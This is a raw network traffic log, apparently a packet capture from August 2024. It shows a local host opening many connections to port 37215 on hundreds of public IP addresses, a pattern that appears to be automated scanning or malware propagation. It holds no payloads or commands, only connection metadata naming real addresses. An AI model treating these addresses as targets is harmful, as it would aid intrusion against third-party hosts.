Aug 6, 2024 08:32:57.852235079 CEST	37215	40490	156.227.117.100	192.168.2.14
Aug 6, 2024 08:32:57.852269888 CEST	43216	37215	192.168.2.14	41.142.161.8
Aug 6, 2024 08:32:57.852313995 CEST	43216	37215	192.168.2.14	41.142.161.8
Aug 6, 2024 08:32:57.852345943 CEST	37215	41002	156.227.117.100	192.168.2.14
Aug 6, 2024 08:32:57.852368116 CEST	48732	37215	192.168.2.14	197.135.201.145
Aug 6, 2024 08:32:57.852385044 CEST	37215	32772	197.129.180.128	192.168.2.14
Aug 6, 2024 08:32:57.852386951 CEST	41002	37215	192.168.2.14	156.227.117.100
Aug 6, 2024 08:32:57.852428913 CEST	37215	33284	197.129.180.128	192.168.2.14
Aug 6, 2024 08:32:57.852436066 CEST	41002	37215	192.168.2.14	156.227.117.100
Aug 6, 2024 08:32:57.852441072 CEST	37215	38774	41.205.118.26	192.168.2.14
Aug 6, 2024 08:32:57.852456093 CEST	47292	37215	192.168.2.14	41.22.10.251
Aug 6, 2024 08:32:57.852523088 CEST	33284	37215	192.168.2.14	197.129.180.128
Aug 6, 2024 08:32:57.852587938 CEST	33284	37215	192.168.2.14	197.129.180.128
Aug 6, 2024 08:32:57.852587938 CEST	37215	55516	156.224.207.229	192.168.2.14
Aug 6, 2024 08:32:57.852590084 CEST	59742	37215	192.168.2.14	41.243.106.194
Aug 6, 2024 08:32:57.852598906 CEST	37215	56028	156.224.207.229	192.168.2.14
Aug 6, 2024 08:32:57.852608919 CEST	37215	39286	41.205.118.26	192.168.2.14
Aug 6, 2024 08:32:57.852612972 CEST	37215	40102	156.55.85.117	192.168.2.14
Aug 6, 2024 08:32:57.852643013 CEST	56028	37215	192.168.2.14	156.224.207.229
Aug 6, 2024 08:32:57.852648020 CEST	39286	37215	192.168.2.14	41.205.118.26
Aug 6, 2024 08:32:57.852685928 CEST	39286	37215	192.168.2.14	41.205.118.26
Aug 6, 2024 08:32:57.852693081 CEST	56028	37215	192.168.2.14	156.224.207.229
Aug 6, 2024 08:32:57.852763891 CEST	37215	38072	156.222.74.186	192.168.2.14
Aug 6, 2024 08:32:57.852773905 CEST	37215	47262	41.88.164.69	192.168.2.14
Aug 6, 2024 08:32:57.852785110 CEST	37215	48876	41.69.62.137	192.168.2.14
Aug 6, 2024 08:32:57.852790117 CEST	45156	37215	192.168.2.14	156.168.2.129
Aug 6, 2024 08:32:57.852790117 CEST	37012	37215	192.168.2.14	197.25.36.107
Aug 6, 2024 08:32:57.852808952 CEST	47262	37215	192.168.2.14	41.88.164.69
Aug 6, 2024 08:32:57.852855921 CEST	47262	37215	192.168.2.14	41.88.164.69
Aug 6, 2024 08:32:57.852879047 CEST	50910	37215	192.168.2.14	41.136.180.243
Aug 6, 2024 08:32:57.852910995 CEST	37215	49388	41.69.62.137	192.168.2.14
Aug 6, 2024 08:32:57.852921963 CEST	37215	57002	156.0.126.61	192.168.2.14
Aug 6, 2024 08:32:57.852931976 CEST	37215	57514	156.0.126.61	192.168.2.14
Aug 6, 2024 08:32:57.852951050 CEST	49388	37215	192.168.2.14	41.69.62.137
Aug 6, 2024 08:32:57.852965117 CEST	57514	37215	192.168.2.14	156.0.126.61
Aug 6, 2024 08:32:57.852999926 CEST	49388	37215	192.168.2.14	41.69.62.137
Aug 6, 2024 08:32:57.853013992 CEST	57514	37215	192.168.2.14	156.0.126.61
Aug 6, 2024 08:32:57.853029966 CEST	37215	37148	41.51.78.43	192.168.2.14
Aug 6, 2024 08:32:57.853043079 CEST	60692	37215	192.168.2.14	197.39.213.224
Aug 6, 2024 08:32:57.853051901 CEST	41892	37215	192.168.2.14	197.30.136.119
Aug 6, 2024 08:32:57.853066921 CEST	37215	40614	156.55.85.117	192.168.2.14
Aug 6, 2024 08:32:57.853076935 CEST	37215	38584	156.222.74.186	192.168.2.14
Aug 6, 2024 08:32:57.853086948 CEST	37215	46750	41.88.164.69	192.168.2.14
Aug 6, 2024 08:32:57.853117943 CEST	40614	37215	192.168.2.14	156.55.85.117
Aug 6, 2024 08:32:57.853117943 CEST	38584	37215	192.168.2.14	156.222.74.186
Aug 6, 2024 08:32:57.853141069 CEST	40614	37215	192.168.2.14	156.55.85.117
Aug 6, 2024 08:32:57.853163958 CEST	55994	37215	192.168.2.14	197.126.162.69
Aug 6, 2024 08:32:57.853167057 CEST	37215	37660	41.51.78.43	192.168.2.14
Aug 6, 2024 08:32:57.853177071 CEST	37215	44520	41.60.167.28	192.168.2.14
Aug 6, 2024 08:32:57.853185892 CEST	37215	58586	156.132.197.53	192.168.2.14
Aug 6, 2024 08:32:57.853200912 CEST	37660	37215	192.168.2.14	41.51.78.43
Aug 6, 2024 08:32:57.853205919 CEST	38584	37215	192.168.2.14	156.222.74.186
Aug 6, 2024 08:32:57.853255033 CEST	49538	37215	192.168.2.14	156.55.98.88
Aug 6, 2024 08:32:57.853270054 CEST	37660	37215	192.168.2.14	41.51.78.43
Aug 6, 2024 08:32:57.853342056 CEST	37215	45032	41.60.167.28	192.168.2.14
Aug 6, 2024 08:32:57.853352070 CEST	37215	59098	156.132.197.53	192.168.2.14
Aug 6, 2024 08:32:57.853359938 CEST	37215	38224	156.252.2.121	192.168.2.14
Aug 6, 2024 08:32:57.853368998 CEST	37215	38736	156.252.2.121	192.168.2.14
Aug 6, 2024 08:32:57.853370905 CEST	34230	37215	192.168.2.14	197.88.121.9
Aug 6, 2024 08:32:57.853378057 CEST	37215	45626	156.90.27.13	192.168.2.14
Aug 6, 2024 08:32:57.853385925 CEST	45032	37215	192.168.2.14	41.60.167.28
Aug 6, 2024 08:32:57.853394985 CEST	59098	37215	192.168.2.14	156.132.197.53
Aug 6, 2024 08:32:57.853413105 CEST	38736	37215	192.168.2.14	156.252.2.121
Aug 6, 2024 08:32:57.853420973 CEST	45032	37215	192.168.2.14	41.60.167.28
Aug 6, 2024 08:32:57.853446007 CEST	37202	37215	192.168.2.14	197.14.65.126
Aug 6, 2024 08:32:57.853472948 CEST	59098	37215	192.168.2.14	156.132.197.53
Aug 6, 2024 08:32:57.853494883 CEST	38736	37215	192.168.2.14	156.252.2.121
Aug 6, 2024 08:32:57.853528023 CEST	37215	46138	156.90.27.13	192.168.2.14
Aug 6, 2024 08:32:57.853538036 CEST	37215	35976	156.232.20.55	192.168.2.14
Aug 6, 2024 08:32:57.853549957 CEST	37215	41534	41.242.100.27	192.168.2.14
Aug 6, 2024 08:32:57.853552103 CEST	53406	37215	192.168.2.14	41.25.197.239
Aug 6, 2024 08:32:57.853559017 CEST	37215	45600	197.204.204.27	192.168.2.14
Aug 6, 2024 08:32:57.853568077 CEST	44474	37215	192.168.2.14	156.195.255.108
Aug 6, 2024 08:32:57.853569984 CEST	46138	37215	192.168.2.14	156.90.27.13
Aug 6, 2024 08:32:57.853585005 CEST	41534	37215	192.168.2.14	41.242.100.27
Aug 6, 2024 08:32:57.853681087 CEST	37215	46112	197.204.204.27	192.168.2.14
Aug 6, 2024 08:32:57.853692055 CEST	37215	46990	41.195.75.21	192.168.2.14
Aug 6, 2024 08:32:57.853720903 CEST	37215	40212	156.107.107.14	192.168.2.14
Aug 6, 2024 08:32:57.853730917 CEST	37215	47502	41.195.75.21	192.168.2.14
Aug 6, 2024 08:32:57.853739023 CEST	37215	60216	197.28.182.242	192.168.2.14
Aug 6, 2024 08:32:57.853745937 CEST	37215	60728	197.28.182.242	192.168.2.14
Aug 6, 2024 08:32:57.853748083 CEST	46112	37215	192.168.2.14	197.204.204.27
Aug 6, 2024 08:32:57.853750944 CEST	40212	37215	192.168.2.14	156.107.107.14
Aug 6, 2024 08:32:57.853769064 CEST	47502	37215	192.168.2.14	41.195.75.21
Aug 6, 2024 08:32:57.853779078 CEST	60728	37215	192.168.2.14	197.28.182.242
Aug 6, 2024 08:32:57.853811979 CEST	37215	36488	156.232.20.55	192.168.2.14
Aug 6, 2024 08:32:57.853822947 CEST	37215	41022	41.242.100.27	192.168.2.14
Aug 6, 2024 08:32:57.853833914 CEST	37215	39700	156.107.107.14	192.168.2.14
Aug 6, 2024 08:32:57.853836060 CEST	46138	37215	192.168.2.14	156.90.27.13
Aug 6, 2024 08:32:57.853844881 CEST	41534	37215	192.168.2.14	41.242.100.27
Aug 6, 2024 08:32:57.853852987 CEST	40212	37215	192.168.2.14	156.107.107.14
Aug 6, 2024 08:32:57.853852987 CEST	36488	37215	192.168.2.14	156.232.20.55
Aug 6, 2024 08:32:57.853878021 CEST	47502	37215	192.168.2.14	41.195.75.21
Aug 6, 2024 08:32:57.853878021 CEST	46112	37215	192.168.2.14	197.204.204.27
Aug 6, 2024 08:32:57.853899002 CEST	60728	37215	192.168.2.14	197.28.182.242
Aug 6, 2024 08:32:57.853945971 CEST	37215	44432	197.94.98.140	192.168.2.14
Aug 6, 2024 08:32:57.853949070 CEST	36488	37215	192.168.2.14	156.232.20.55
Aug 6, 2024 08:32:57.853976011 CEST	37215	44944	197.94.98.140	192.168.2.14
Aug 6, 2024 08:32:57.853988886 CEST	37215	57474	41.116.61.218	192.168.2.14
Aug 6, 2024 08:32:57.854012012 CEST	44944	37215	192.168.2.14	197.94.98.140
Aug 6, 2024 08:32:57.854059935 CEST	44944	37215	192.168.2.14	197.94.98.140
Aug 6, 2024 08:32:57.854078054 CEST	37215	57986	41.116.61.218	192.168.2.14
Aug 6, 2024 08:32:57.854119062 CEST	57986	37215	192.168.2.14	41.116.61.218
Aug 6, 2024 08:32:57.854142904 CEST	37215	36616	156.181.110.86	192.168.2.14
Aug 6, 2024 08:32:57.854154110 CEST	37215	58436	197.197.24.70	192.168.2.14
Aug 6, 2024 08:32:57.854166985 CEST	37215	36104	156.181.110.86	192.168.2.14
Aug 6, 2024 08:32:57.854196072 CEST	57986	37215	192.168.2.14	41.116.61.218
Aug 6, 2024 08:32:57.854196072 CEST	36616	37215	192.168.2.14	156.181.110.86
Aug 6, 2024 08:32:57.854238033 CEST	36616	37215	192.168.2.14	156.181.110.86
Aug 6, 2024 08:32:57.854428053 CEST	37215	58948	197.197.24.70	192.168.2.14
Aug 6, 2024 08:32:57.854439020 CEST	37215	54844	41.42.85.198	192.168.2.14
Aug 6, 2024 08:32:57.854451895 CEST	37215	55356	41.42.85.198	192.168.2.14
Aug 6, 2024 08:32:57.854502916 CEST	55356	37215	192.168.2.14	41.42.85.198
Aug 6, 2024 08:32:57.854506016 CEST	58948	37215	192.168.2.14	197.197.24.70
Aug 6, 2024 08:32:57.854506016 CEST	58948	37215	192.168.2.14	197.197.24.70
Aug 6, 2024 08:32:57.854553938 CEST	55356	37215	192.168.2.14	41.42.85.198
Aug 6, 2024 08:32:57.854652882 CEST	37215	48462	197.229.89.107	192.168.2.14
Aug 6, 2024 08:32:57.854662895 CEST	37215	47950	197.229.89.107	192.168.2.14
Aug 6, 2024 08:32:57.854672909 CEST	37215	39070	156.5.53.84	192.168.2.14
Aug 6, 2024 08:32:57.854726076 CEST	48462	37215	192.168.2.14	197.229.89.107
Aug 6, 2024 08:32:57.854726076 CEST	48462	37215	192.168.2.14	197.229.89.107
Aug 6, 2024 08:32:57.854799986 CEST	37215	36100	156.178.121.45	192.168.2.14
Aug 6, 2024 08:32:57.854876041 CEST	37215	39582	156.5.53.84	192.168.2.14
Aug 6, 2024 08:32:57.854887009 CEST	37215	36612	156.178.121.45	192.168.2.14
Aug 6, 2024 08:32:57.854911089 CEST	37215	49832	156.83.69.150	192.168.2.14
Aug 6, 2024 08:32:57.854922056 CEST	39582	37215	192.168.2.14	156.5.53.84
Aug 6, 2024 08:32:57.854932070 CEST	36612	37215	192.168.2.14	156.178.121.45
Aug 6, 2024 08:32:57.855138063 CEST	37215	50344	156.83.69.150	192.168.2.14
Aug 6, 2024 08:32:57.855149031 CEST	37215	40264	156.198.249.101	192.168.2.14
Aug 6, 2024 08:32:57.855158091 CEST	37215	54348	41.99.158.148	192.168.2.14
Aug 6, 2024 08:32:57.855163097 CEST	37215	42172	156.213.90.130	192.168.2.14
Aug 6, 2024 08:32:57.855170012 CEST	36612	37215	192.168.2.14	156.178.121.45
Aug 6, 2024 08:32:57.855170965 CEST	39582	37215	192.168.2.14	156.5.53.84
Aug 6, 2024 08:32:57.855176926 CEST	37215	39952	197.116.99.16	192.168.2.14
Aug 6, 2024 08:32:57.855179071 CEST	50344	37215	192.168.2.14	156.83.69.150
Aug 6, 2024 08:32:57.855191946 CEST	42172	37215	192.168.2.14	156.213.90.130
Aug 6, 2024 08:32:57.855194092 CEST	54348	37215	192.168.2.14	41.99.158.148
Aug 6, 2024 08:32:57.855206013 CEST	37215	40776	156.198.249.101	192.168.2.14
Aug 6, 2024 08:32:57.855206013 CEST	39952	37215	192.168.2.14	197.116.99.16
Aug 6, 2024 08:32:57.855217934 CEST	37215	53790	156.246.176.160	192.168.2.14
Aug 6, 2024 08:32:57.855225086 CEST	50344	37215	192.168.2.14	156.83.69.150
Aug 6, 2024 08:32:57.855243921 CEST	54348	37215	192.168.2.14	41.99.158.148
Aug 6, 2024 08:32:57.855261087 CEST	40776	37215	192.168.2.14	156.198.249.101
Aug 6, 2024 08:32:57.855276108 CEST	37215	53836	41.99.158.148	192.168.2.14
Aug 6, 2024 08:32:57.855278969 CEST	40776	37215	192.168.2.14	156.198.249.101
Aug 6, 2024 08:32:57.855288982 CEST	42172	37215	192.168.2.14	156.213.90.130
Aug 6, 2024 08:32:57.855288982 CEST	39952	37215	192.168.2.14	197.116.99.16
Aug 6, 2024 08:32:57.855309010 CEST	37215	57086	41.3.58.68	192.168.2.14
Aug 6, 2024 08:32:57.855469942 CEST	37215	57598	41.3.58.68	192.168.2.14
Aug 6, 2024 08:32:57.855480909 CEST	37215	57336	197.141.165.224	192.168.2.14
Aug 6, 2024 08:32:57.855494976 CEST	37215	57848	197.141.165.224	192.168.2.14
Aug 6, 2024 08:32:57.855532885 CEST	57848	37215	192.168.2.14	197.141.165.224
Aug 6, 2024 08:32:57.855539083 CEST	57598	37215	192.168.2.14	41.3.58.68
Aug 6, 2024 08:32:57.855546951 CEST	37215	41660	156.213.90.130	192.168.2.14
Aug 6, 2024 08:32:57.855580091 CEST	37215	39440	197.116.99.16	192.168.2.14
Aug 6, 2024 08:32:57.855591059 CEST	57598	37215	192.168.2.14	41.3.58.68
Aug 6, 2024 08:32:57.855592012 CEST	37215	55158	156.209.183.183	192.168.2.14
Aug 6, 2024 08:32:57.855607986 CEST	57848	37215	192.168.2.14	197.141.165.224
Aug 6, 2024 08:32:57.855711937 CEST	37215	54302	156.246.176.160	192.168.2.14
Aug 6, 2024 08:32:57.855722904 CEST	37215	40592	197.205.58.249	192.168.2.14
Aug 6, 2024 08:32:57.855734110 CEST	37215	41104	197.205.58.249	192.168.2.14
Aug 6, 2024 08:32:57.855746031 CEST	37215	55670	156.209.183.183	192.168.2.14
Aug 6, 2024 08:32:57.855756998 CEST	37215	37152	41.235.232.193	192.168.2.14
Aug 6, 2024 08:32:57.855789900 CEST	55670	37215	192.168.2.14	156.209.183.183
Aug 6, 2024 08:32:57.855842113 CEST	54302	37215	192.168.2.14	156.246.176.160
Aug 6, 2024 08:32:57.855842113 CEST	41104	37215	192.168.2.14	197.205.58.249
Aug 6, 2024 08:32:57.855842113 CEST	54302	37215	192.168.2.14	156.246.176.160
Aug 6, 2024 08:32:57.855854034 CEST	37215	37664	41.235.232.193	192.168.2.14
Aug 6, 2024 08:32:57.855864048 CEST	41104	37215	192.168.2.14	197.205.58.249
Aug 6, 2024 08:32:57.855865002 CEST	37215	39430	41.47.235.221	192.168.2.14
Aug 6, 2024 08:32:57.855876923 CEST	37215	39942	41.47.235.221	192.168.2.14
Aug 6, 2024 08:32:57.855882883 CEST	55670	37215	192.168.2.14	156.209.183.183
Aug 6, 2024 08:32:57.855887890 CEST	37215	57354	41.34.23.164	192.168.2.14
Aug 6, 2024 08:32:57.855930090 CEST	37664	37215	192.168.2.14	41.235.232.193
Aug 6, 2024 08:32:57.855930090 CEST	37664	37215	192.168.2.14	41.235.232.193
Aug 6, 2024 08:32:57.855935097 CEST	39942	37215	192.168.2.14	41.47.235.221
Aug 6, 2024 08:32:57.855958939 CEST	39942	37215	192.168.2.14	41.47.235.221
Aug 6, 2024 08:32:57.856060028 CEST	37215	57866	41.34.23.164	192.168.2.14
Aug 6, 2024 08:32:57.856070042 CEST	37215	35618	197.203.208.42	192.168.2.14
Aug 6, 2024 08:32:57.856079102 CEST	37215	36130	197.203.208.42	192.168.2.14
Aug 6, 2024 08:32:57.856089115 CEST	37215	49550	156.146.138.56	192.168.2.14
Aug 6, 2024 08:32:57.856120110 CEST	36130	37215	192.168.2.14	197.203.208.42
Aug 6, 2024 08:32:57.856121063 CEST	37215	50062	156.146.138.56	192.168.2.14
Aug 6, 2024 08:32:57.856131077 CEST	37215	48692	156.28.212.86	192.168.2.14
Aug 6, 2024 08:32:57.856156111 CEST	37215	48874	197.183.103.104	192.168.2.14
Aug 6, 2024 08:32:57.856161118 CEST	50062	37215	192.168.2.14	156.146.138.56
Aug 6, 2024 08:32:57.856163979 CEST	48692	37215	192.168.2.14	156.28.212.86
Aug 6, 2024 08:32:57.856165886 CEST	37215	48180	156.28.212.86	192.168.2.14
Aug 6, 2024 08:32:57.856192112 CEST	36130	37215	192.168.2.14	197.203.208.42
Aug 6, 2024 08:32:57.856205940 CEST	57866	37215	192.168.2.14	41.34.23.164
Aug 6, 2024 08:32:57.856205940 CEST	57866	37215	192.168.2.14	41.34.23.164
Aug 6, 2024 08:32:57.856209040 CEST	50062	37215	192.168.2.14	156.146.138.56
Aug 6, 2024 08:32:57.856215954 CEST	48692	37215	192.168.2.14	156.28.212.86
Aug 6, 2024 08:32:57.856235981 CEST	37215	59768	156.135.80.58	192.168.2.14
Aug 6, 2024 08:32:57.856255054 CEST	37215	60280	156.135.80.58	192.168.2.14
Aug 6, 2024 08:32:57.856264114 CEST	37215	59090	41.244.209.174	192.168.2.14
Aug 6, 2024 08:32:57.856329918 CEST	60280	37215	192.168.2.14	156.135.80.58
Aug 6, 2024 08:32:57.856329918 CEST	60280	37215	192.168.2.14	156.135.80.58
Aug 6, 2024 08:32:57.856415033 CEST	37215	49386	197.183.103.104	192.168.2.14
Aug 6, 2024 08:32:57.856425047 CEST	37215	49624	197.150.29.200	192.168.2.14
Aug 6, 2024 08:32:57.856434107 CEST	37215	59602	41.244.209.174	192.168.2.14
Aug 6, 2024 08:32:57.856442928 CEST	37215	50136	197.150.29.200	192.168.2.14
Aug 6, 2024 08:32:57.856451988 CEST	37215	44956	156.95.131.110	192.168.2.14
Aug 6, 2024 08:32:57.856455088 CEST	49386	37215	192.168.2.14	197.183.103.104
Aug 6, 2024 08:32:57.856470108 CEST	50136	37215	192.168.2.14	197.150.29.200
Aug 6, 2024 08:32:57.856503963 CEST	59602	37215	192.168.2.14	41.244.209.174
Aug 6, 2024 08:32:57.856513977 CEST	37215	48180	156.94.250.60	192.168.2.14
Aug 6, 2024 08:32:57.856525898 CEST	37215	48692	156.94.250.60	192.168.2.14
Aug 6, 2024 08:32:57.856530905 CEST	49386	37215	192.168.2.14	197.183.103.104
Aug 6, 2024 08:32:57.856554031 CEST	50136	37215	192.168.2.14	197.150.29.200
Aug 6, 2024 08:32:57.856554985 CEST	59602	37215	192.168.2.14	41.244.209.174
Aug 6, 2024 08:32:57.856559992 CEST	48692	37215	192.168.2.14	156.94.250.60
Aug 6, 2024 08:32:57.856568098 CEST	37215	45468	156.95.131.110	192.168.2.14
Aug 6, 2024 08:32:57.856578112 CEST	37215	53066	41.164.18.227	192.168.2.14
Aug 6, 2024 08:32:57.856599092 CEST	45468	37215	192.168.2.14	156.95.131.110
Aug 6, 2024 08:32:57.856606007 CEST	48692	37215	192.168.2.14	156.94.250.60
Aug 6, 2024 08:32:57.856646061 CEST	45468	37215	192.168.2.14	156.95.131.110
Aug 6, 2024 08:32:57.856658936 CEST	37215	53578	41.164.18.227	192.168.2.14
Aug 6, 2024 08:32:57.856667995 CEST	37215	43764	197.31.205.62	192.168.2.14
Aug 6, 2024 08:32:57.856677055 CEST	37215	44276	197.31.205.62	192.168.2.14
Aug 6, 2024 08:32:57.856695890 CEST	53578	37215	192.168.2.14	41.164.18.227
Aug 6, 2024 08:32:57.856702089 CEST	37215	37024	41.241.47.76	192.168.2.14
Aug 6, 2024 08:32:57.856707096 CEST	44276	37215	192.168.2.14	197.31.205.62
Aug 6, 2024 08:32:57.856729031 CEST	53578	37215	192.168.2.14	41.164.18.227
Aug 6, 2024 08:32:57.856770992 CEST	44276	37215	192.168.2.14	197.31.205.62
Aug 6, 2024 08:32:57.856899977 CEST	37215	46870	197.21.237.243	192.168.2.14
Aug 6, 2024 08:32:57.856910944 CEST	37215	37536	41.241.47.76	192.168.2.14
Aug 6, 2024 08:32:57.856920004 CEST	37215	47382	197.21.237.243	192.168.2.14
Aug 6, 2024 08:32:57.856930017 CEST	37215	49442	197.210.183.23	192.168.2.14
Aug 6, 2024 08:32:57.856939077 CEST	37215	43418	156.45.179.57	192.168.2.14
Aug 6, 2024 08:32:57.856947899 CEST	37215	48930	197.210.183.23	192.168.2.14
Aug 6, 2024 08:32:57.856952906 CEST	37536	37215	192.168.2.14	41.241.47.76
Aug 6, 2024 08:32:57.856975079 CEST	49442	37215	192.168.2.14	197.210.183.23
Aug 6, 2024 08:32:57.856975079 CEST	47382	37215	192.168.2.14	197.21.237.243
Aug 6, 2024 08:32:57.856987000 CEST	43418	37215	192.168.2.14	156.45.179.57
Aug 6, 2024 08:32:57.856995106 CEST	37536	37215	192.168.2.14	41.241.47.76
Aug 6, 2024 08:32:57.856998920 CEST	37215	47526	41.210.226.180	192.168.2.14
Aug 6, 2024 08:32:57.857003927 CEST	47382	37215	192.168.2.14	197.21.237.243
Aug 6, 2024 08:32:57.857023954 CEST	37215	48038	41.210.226.180	192.168.2.14
Aug 6, 2024 08:32:57.857045889 CEST	37215	60754	41.162.103.68	192.168.2.14
Aug 6, 2024 08:32:57.857055902 CEST	49442	37215	192.168.2.14	197.210.183.23
Aug 6, 2024 08:32:57.857055902 CEST	43418	37215	192.168.2.14	156.45.179.57
Aug 6, 2024 08:32:57.857055902 CEST	48038	37215	192.168.2.14	41.210.226.180
Aug 6, 2024 08:32:57.857096910 CEST	48038	37215	192.168.2.14	41.210.226.180
Aug 6, 2024 08:32:57.857158899 CEST	37215	33034	41.162.103.68	192.168.2.14
Aug 6, 2024 08:32:57.857170105 CEST	37215	42906	156.45.179.57	192.168.2.14
Aug 6, 2024 08:32:57.857180119 CEST	37215	50906	197.144.79.247	192.168.2.14
Aug 6, 2024 08:32:57.857202053 CEST	33034	37215	192.168.2.14	41.162.103.68
Aug 6, 2024 08:32:57.857244968 CEST	33034	37215	192.168.2.14	41.162.103.68
Aug 6, 2024 08:32:57.857264042 CEST	37215	51418	197.144.79.247	192.168.2.14
Aug 6, 2024 08:32:57.857317924 CEST	37215	56378	41.242.140.238	192.168.2.14
Aug 6, 2024 08:32:57.857327938 CEST	37215	58022	197.203.159.212	192.168.2.14
Aug 6, 2024 08:32:57.857347965 CEST	51418	37215	192.168.2.14	197.144.79.247
Aug 6, 2024 08:32:57.857347965 CEST	51418	37215	192.168.2.14	197.144.79.247
Aug 6, 2024 08:32:57.857471943 CEST	37215	58534	197.203.159.212	192.168.2.14
Aug 6, 2024 08:32:57.857484102 CEST	37215	53476	156.99.80.91	192.168.2.14
Aug 6, 2024 08:32:57.857501984 CEST	37215	56890	41.242.140.238	192.168.2.14
Aug 6, 2024 08:32:57.857506990 CEST	58534	37215	192.168.2.14	197.203.159.212
Aug 6, 2024 08:32:57.857539892 CEST	37215	53988	156.99.80.91	192.168.2.14
Aug 6, 2024 08:32:57.857553959 CEST	58534	37215	192.168.2.14	197.203.159.212
Aug 6, 2024 08:32:57.857603073 CEST	37215	42878	41.217.111.255	192.168.2.14
Aug 6, 2024 08:32:57.857608080 CEST	56890	37215	192.168.2.14	41.242.140.238
Aug 6, 2024 08:32:57.857608080 CEST	53988	37215	192.168.2.14	156.99.80.91
Aug 6, 2024 08:32:57.857608080 CEST	56890	37215	192.168.2.14	41.242.140.238
Aug 6, 2024 08:32:57.857664108 CEST	37215	43390	41.217.111.255	192.168.2.14
Aug 6, 2024 08:32:57.857670069 CEST	53988	37215	192.168.2.14	156.99.80.91
Aug 6, 2024 08:32:57.857683897 CEST	37215	48730	41.48.241.76	192.168.2.14
Aug 6, 2024 08:32:57.857713938 CEST	43390	37215	192.168.2.14	41.217.111.255
Aug 6, 2024 08:32:57.857749939 CEST	37215	44050	41.96.167.241	192.168.2.14
Aug 6, 2024 08:32:57.857753992 CEST	43390	37215	192.168.2.14	41.217.111.255
Aug 6, 2024 08:32:57.857893944 CEST	37215	49242	41.48.241.76	192.168.2.14
Aug 6, 2024 08:32:57.857904911 CEST	37215	44562	41.96.167.241	192.168.2.14
Aug 6, 2024 08:32:57.857914925 CEST	37215	47992	41.113.66.102	192.168.2.14
Aug 6, 2024 08:32:57.857928991 CEST	37215	51574	41.187.38.232	192.168.2.14
Aug 6, 2024 08:32:57.857938051 CEST	37215	47480	41.113.66.102	192.168.2.14
Aug 6, 2024 08:32:57.857939005 CEST	49242	37215	192.168.2.14	41.48.241.76
Aug 6, 2024 08:32:57.857948065 CEST	44562	37215	192.168.2.14	41.96.167.241
Aug 6, 2024 08:32:57.857950926 CEST	37215	52086	41.187.38.232	192.168.2.14
Aug 6, 2024 08:32:57.857954025 CEST	47992	37215	192.168.2.14	41.113.66.102
Aug 6, 2024 08:32:57.857976913 CEST	49242	37215	192.168.2.14	41.48.241.76
Aug 6, 2024 08:32:57.857990026 CEST	44562	37215	192.168.2.14	41.96.167.241
Aug 6, 2024 08:32:57.857990026 CEST	52086	37215	192.168.2.14	41.187.38.232
Aug 6, 2024 08:32:57.857992887 CEST	37215	40758	197.211.102.57	192.168.2.14
Aug 6, 2024 08:32:57.858004093 CEST	37215	41270	197.211.102.57	192.168.2.14
Aug 6, 2024 08:32:57.858014107 CEST	37215	36966	41.168.55.54	192.168.2.14
Aug 6, 2024 08:32:57.858056068 CEST	47992	37215	192.168.2.14	41.113.66.102
Aug 6, 2024 08:32:57.858061075 CEST	52086	37215	192.168.2.14	41.187.38.232
Aug 6, 2024 08:32:57.858078003 CEST	41270	37215	192.168.2.14	197.211.102.57
Aug 6, 2024 08:32:57.858103037 CEST	37215	37478	41.168.55.54	192.168.2.14
Aug 6, 2024 08:32:57.858114004 CEST	37215	55082	197.129.188.53	192.168.2.14
Aug 6, 2024 08:32:57.858123064 CEST	37215	55594	197.129.188.53	192.168.2.14
Aug 6, 2024 08:32:57.858128071 CEST	37215	41964	41.225.39.66	192.168.2.14
Aug 6, 2024 08:32:57.858134985 CEST	41270	37215	192.168.2.14	197.211.102.57
Aug 6, 2024 08:32:57.858160019 CEST	37478	37215	192.168.2.14	41.168.55.54
Aug 6, 2024 08:32:57.858163118 CEST	55594	37215	192.168.2.14	197.129.188.53
Aug 6, 2024 08:32:57.858196974 CEST	37478	37215	192.168.2.14	41.168.55.54
Aug 6, 2024 08:32:57.858201981 CEST	55594	37215	192.168.2.14	197.129.188.53
Aug 6, 2024 08:32:57.858262062 CEST	37215	42476	41.225.39.66	192.168.2.14
Aug 6, 2024 08:32:57.858272076 CEST	37215	54184	197.80.100.123	192.168.2.14
Aug 6, 2024 08:32:57.858282089 CEST	37215	40082	197.127.41.121	192.168.2.14
Aug 6, 2024 08:32:57.858292103 CEST	37215	35106	156.44.129.184	192.168.2.14
Aug 6, 2024 08:32:57.858299971 CEST	42476	37215	192.168.2.14	41.225.39.66
Aug 6, 2024 08:32:57.858314991 CEST	37215	39570	197.127.41.121	192.168.2.14
Aug 6, 2024 08:32:57.858340979 CEST	42476	37215	192.168.2.14	41.225.39.66
Aug 6, 2024 08:32:57.858369112 CEST	35106	37215	192.168.2.14	156.44.129.184
Aug 6, 2024 08:32:57.858383894 CEST	40082	37215	192.168.2.14	197.127.41.121
Aug 6, 2024 08:32:57.858386040 CEST	35106	37215	192.168.2.14	156.44.129.184
Aug 6, 2024 08:32:57.858403921 CEST	37215	34594	156.44.129.184	192.168.2.14
Aug 6, 2024 08:32:57.858414888 CEST	37215	54696	197.80.100.123	192.168.2.14
Aug 6, 2024 08:32:57.858424902 CEST	37215	58512	197.126.10.193	192.168.2.14
Aug 6, 2024 08:32:57.858437061 CEST	37215	58000	197.126.10.193	192.168.2.14
Aug 6, 2024 08:32:57.858438015 CEST	40082	37215	192.168.2.14	197.127.41.121
Aug 6, 2024 08:32:57.858469009 CEST	58512	37215	192.168.2.14	197.126.10.193
Aug 6, 2024 08:32:57.858483076 CEST	54696	37215	192.168.2.14	197.80.100.123
Aug 6, 2024 08:32:57.858484030 CEST	54696	37215	192.168.2.14	197.80.100.123
Aug 6, 2024 08:32:57.858485937 CEST	58512	37215	192.168.2.14	197.126.10.193
Aug 6, 2024 08:32:57.858513117 CEST	37215	40100	197.154.7.11	192.168.2.14
Aug 6, 2024 08:32:57.858524084 CEST	37215	39588	197.154.7.11	192.168.2.14
Aug 6, 2024 08:32:57.858535051 CEST	37215	49078	41.81.246.30	192.168.2.14
Aug 6, 2024 08:32:57.858555079 CEST	40100	37215	192.168.2.14	197.154.7.11
Aug 6, 2024 08:32:57.858563900 CEST	37215	34584	197.241.182.112	192.168.2.14
Aug 6, 2024 08:32:57.858576059 CEST	37215	49590	41.81.246.30	192.168.2.14
Aug 6, 2024 08:32:57.858587027 CEST	37215	35096	197.241.182.112	192.168.2.14
Aug 6, 2024 08:32:57.858588934 CEST	40100	37215	192.168.2.14	197.154.7.11
Aug 6, 2024 08:32:57.858597040 CEST	37215	34070	41.38.241.60	192.168.2.14
Aug 6, 2024 08:32:57.858612061 CEST	49590	37215	192.168.2.14	41.81.246.30
